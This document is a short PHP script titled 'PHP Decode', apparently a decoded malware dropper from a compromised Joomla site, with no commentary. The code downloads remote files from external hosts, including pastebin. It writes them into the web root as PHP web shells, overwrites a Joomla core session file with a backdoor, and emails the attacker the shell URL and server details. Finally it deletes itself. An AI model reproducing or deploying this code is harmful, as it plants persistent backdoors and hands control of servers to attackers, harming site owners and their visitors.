PHP Decode

<?php 
function http_get($url){ 
	$im = curl_init($url); 
	curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); 
	curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); 
	curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); 
	curl_setopt($im, CURLOPT_HEADER, 0); 
	return curl_exec($im); 
	curl_close($im); 
} 
$check = $_SERVER['DOCUMENT_ROOT'] . "/media/css.php" ; 
$text = http_get('http://mrtg.ui.phinma.edu.ph/components/joomla.txt'); 
$open = fopen($check, 'w'); 
fwrite($open, $text); 
fclose($open); 
if(file_exists($check)){ 
    echo $check."</br>"; 
}else  
  echo "not exits"; 
echo "done .
 " ; 
$check2 = $_SERVER['DOCUMENT_ROOT'] . "/media/jmail.php" ; 
$text2 = http_get('http://mrtg.ui.phinma.edu.ph/components/jmailz.txt'); 
$open2 = fopen($check2, 'w'); 
fwrite($open2, $text2); 
fclose($open2); 
if(file_exists($check2)){ 
    echo $check2."</br>"; 
}else  
  echo "not exits2"; 
echo "done2 .
 " ; 
 
$check3=$_SERVER['DOCUMENT_ROOT'] . "/H.htm" ; 
$text3 = http_get(''); 
$op3=fopen($check3, 'w'); 
fwrite($op3,$text3); 
fclose($op3); 
 
$check4=$_SERVER['DOCUMENT_ROOT'] . "/media/check.php" ; 
$text4 = http_get('http://mrtg.ui.phinma.edu.ph/components/qq.txt'); 
$op4=fopen($check4, 'w'); 
fwrite($op4,$text4); 
fclose($op4); 
 
$check5=$_SERVER['DOCUMENT_ROOT'] . "//media/jmails.php" ; 
$text5 = http_get('http://mrtg.ui.phinma.edu.ph/components/qqz.txt'); 
$op5=fopen($check5, 'w'); 
fwrite($op5,$text5); 
fclose($op5); 
 
$check6=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/session/session.php" ; 
$text6 = http_get('http://pastebin.com/raw/UHAGT887'); 
$op6=fopen($check6, 'w'); 
fwrite($op6,$text6); 
fclose($op6); 
 
$toz = ""; 
$subject = 'Jom zzz ' . $_SERVER['SERVER_NAME']; 
$header = 'from: Kekkai Sensen <[email protected]>' . "
"; 
$message = "Shellz : http://" . $_SERVER['SERVER_NAME'] . "/libraries/joomla/jmail.php?u" . "
" . php_uname() . "
"; 
$sentmail = @mail($toz, $subject, $message, $header); 
 
@unlink(__FILE__); 
 
 
?>